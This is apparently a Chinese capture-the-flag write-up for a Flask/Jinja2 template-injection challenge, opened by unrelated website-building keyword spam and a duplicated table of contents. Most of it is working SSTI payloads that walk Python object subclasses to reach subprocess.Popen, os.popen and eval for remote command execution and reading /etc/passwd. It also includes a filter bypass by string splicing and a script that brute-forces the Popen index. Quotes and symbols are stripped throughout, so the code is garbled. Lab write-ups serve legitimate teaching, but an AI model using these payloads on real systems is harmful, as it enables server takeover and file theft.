网站建设和维护方案,景洪网站建设,网站怎么改版自适应,西宁市城乡规划建设局网站目录
subprocess.Popen
FILE
warnings.catch_warnings
site._Printer 这题很明显就是 SSTI了 源代码
我们试试看
{{7*7}} 然后我们就开始吧
原本我的想法是直接{{url_for.__globals__}}
但是回显是直接500 猜测过滤 我们正常来吧
{{.__class__}} 查看当前…
目录
subprocess.Popen
FILE
warnings.catch_warnings
site._Printer 这题很明显就是 SSTI了 源代码
我们试试看
{{7*7}} 然后我们就开始吧
原本我的想法是直接{{url_for.__globals__}}
但是回显是直接500 猜测过滤 我们正常来吧
{{.__class__}} 查看当前情况{{.__class__.__base__}} 查看基类 这里发现没有利用的 我们修改代码{{.__class__.__mro__}} 查看全部类 发现存在type object了{{.__class__.__mro__[2].__subclasses__()}} 查看object的子类 这里我们需要 os 来调用
但是这里存在一个类 可以不需要os
subprocess.Popen
Python3 subprocess | 菜鸟教程
需要参数
(命令,shellTrue,stdout-1)这里 stdout 就是指定输出 PIPE
然后我们可以使用 其方法来进行交互
(命令,shellTrue,stdout-1).communicate()
这样我们就可以实现rce
首先通过 脚本跑出来其的位数
import timeimport requestsbase_urlhttp://1a3ad76d-35d3-4a35-97fb-8997c87bf989.node4.buuoj.cn:81/?searchfor i in range(300):payload{{\\.__class__.__mro__[2].__subclasses__()[%s]}}%ir requests.get(urlbase_url payload)if subprocess.Popen in r.text:print(i)if r.status_code 429:time.sleep(0.5)
跑出来是258 我们开始构造
?search{{.__class__.__mro__[2].__subclasses__()[258](ls,shellTrue,stdout-1).communicate()[0].strip()}}最后的.communicate()[0].strip() 通过 communicate方法 输出 并且指定数组 去除空白符 我们看看 flasklight看看
?search{{.__class__.__mro__[2].__subclasses__()[258](cat /flasklight/coomme_geeeett_youur_flek,shellTrue,stdout-1).communicate()[0].strip()}}
FILE
这是另一个方法 通过file读取文件
首先我们要测试一下
先查找一下 file 发现是40
然后我们看看
{{.__class__.__mro__[2].__subclasses__()[40]}}
/?search{{.__class__.__mro__[2].__subclasses__()[40](/etc/passwd).read()}} 读取成功
然后我们去读一下命令行吧 发现读出了路径
我们看看这个py 但是还是没有办法直接读取出来 因为不知道flag的文件名字
warnings.catch_warnings
我们首先找一下这个类的位数
59
{{.__class__.__mro__[2].__subclasses__()[59].__init__}}
这里就卡住了 因为我们还是需要 globals的参与
我们如何绕过过滤呢
{{.__class__.__mro__[2].__subclasses__()[59].__init__[__globals__]}}
这样就可以
我们在上面也知道 是通过匹配过滤的
做到这个我们其实就可以正常rce了 但是还是完善一下这个类的用法吧 这里我们能发现 这个类没有加载 os 需要我们手动加载
我们需要在其
[__builtins__][eval] 下导入
payload
?search{{.__class__.__mro__[2].__subclasses__()[59].__init__[__globals__][__builtins__][eval](__import__(os).popen(ls).read())}}
这样就借助 os 实现了 rce
site._Printer
我们知道了 globals可以拼接绕过
这个方法也可以实现我们看看里面是否内置了 os
?search{{.__class__.__mro__[2].__subclasses__()[71].__init__[__globals__]}} 发现存在 我们直接rce即可
?search{{.__class__.__mro__[2].__subclasses__()[71].__init__[__globals__][os].popen(ls).read()}} 最后读取即可